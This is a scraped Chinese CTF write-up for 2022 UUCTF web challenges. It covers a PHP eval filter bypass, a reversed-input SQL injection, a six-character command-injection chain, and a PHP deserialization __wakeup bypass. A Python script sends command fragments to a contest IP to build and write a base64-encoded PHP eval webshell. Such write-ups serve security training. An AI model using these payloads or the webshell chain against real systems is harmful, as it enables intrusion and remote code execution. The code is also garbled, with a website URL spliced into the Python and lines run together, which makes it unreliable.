2022UUCTF--WEB

websign無法右鍵 禁用js后 看源碼

2022UUCTF--WEB

文章插圖
ez_rce -- 閉合源碼,禁用的東西挺多的 仔細發現 ? <> `沒有禁用 , 閉合標簽反引號執行命令
## 放棄把,小伙子,你真的不會RCE,何必在此糾結呢????????????if(isset($_GET['code'])){$code=$_GET['code'];if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){echo '看看你輸入的參數?。?!矄拘样讬?。?;echo '<br>';eval($code);}else{die("你想干什么?????????");}}else{echo "居然都不輸入參數,可惡!!!!!!!!!";show_source(__FILE__);}[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]
nl輸出
2022UUCTF--WEB

文章插圖
ezsql -- 輸入反向直接給出了查詢語句
2022UUCTF--WEB

文章插圖
發現輸入 11')--+ 顯示的是 +--)'11完全反過來了
2022UUCTF--WEB

文章插圖
首先使用萬能密碼試試
2022UUCTF--WEB

文章插圖
發現即使輸入時正確的賬號密碼也不會回顯flag
找列數2列
2022UUCTF--WEB

文章插圖
這里過濾了or 雙寫繞過,查找表名和數據庫名
2022UUCTF--WEB

文章插圖
查列名UUCTF
2022UUCTF--WEB

文章插圖
查內容
2022UUCTF--WEB

文章插圖
ezrce -- 6字符RCEhint:這是一個命令執行接口
我知道咯這是六字符 起初我輸入>nl 回顯命令執行失敗 我以為沒有運行 所以沒寫
所以說不可以完全信回顯
我們要先找到寫文件寫的目錄 echo 一下,文件寫在./tmp/
2022UUCTF--WEB

文章插圖
方法一>nl* /*>d第一個:創建一個叫nl的文件* /*>d 意思就是 nl /*>f第一個*就是將ls列出文件名第一個當作命令 其他當作參數
2022UUCTF--WEB

文章插圖
方法二前置知識
>a 在Linux會創建一個叫a的文件*>v 會將ls列出的第一個文件名當作命令 其余當作參數執行*v>0 等價于 rev v >0 反轉sh 0 將0文件的內容當作命令執行ls -th 按照文件的創建時間(后創建先列出)ls -t就可以 這里加上h是為了按照 sl ht- f\>排列linux下換行執行命令:ech\o\ 111
2022UUCTF--WEB

文章插圖
跑腳本,寫木馬
url="http://43.142.108.3:28933/post.php"print("[+]start attack!!!")with open("5字符RCE.txt", "r") as f:for i in f:data = https://www.huyubaike.com/biancheng/{"cmd": f"{i.strip()}"}requests.post(url=url,data=https://www.huyubaike.com/biancheng/data)resp = requests.get("http://43.142.108.3:28933/tmp/1.php")if resp.status_code == requests.codes.ok:print("[*]Attack success!!!")5字符RCE.txt>dir>sl>ht->f\>*>v>rev*v>0>hp>1.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\sh 0sh f
2022UUCTF--WEB

文章插圖
ez_unser -- 引用繞過wakeup反序列化 審計代碼
class test{public $a;public $b;public $c;public function __construct(){$this->a=1;$this->b=2;$this->c=3;}public function __wakeup(){$this->a='';}public function __destruct(){// 可以看到這里有一個 $this->b=$this->c; 這里就是我們利用的地方// 這里說下php引用問題 當a=&b是 a和b分配的是同一快內存地址 也就是 a b永遠相等$this->b=$this->c;// 終點eval($this->a);}}$a=$_GET['a'];// 這里限制我們不能修改test后的參數 也就是不可以通過修改參數繞過 __wakeupif(!preg_match('/test":3/i',$a)){die("你輸入的不正確?。?!搁`裁矗 。?);}$bbb=unserialize($_GET['a']);

推薦閱讀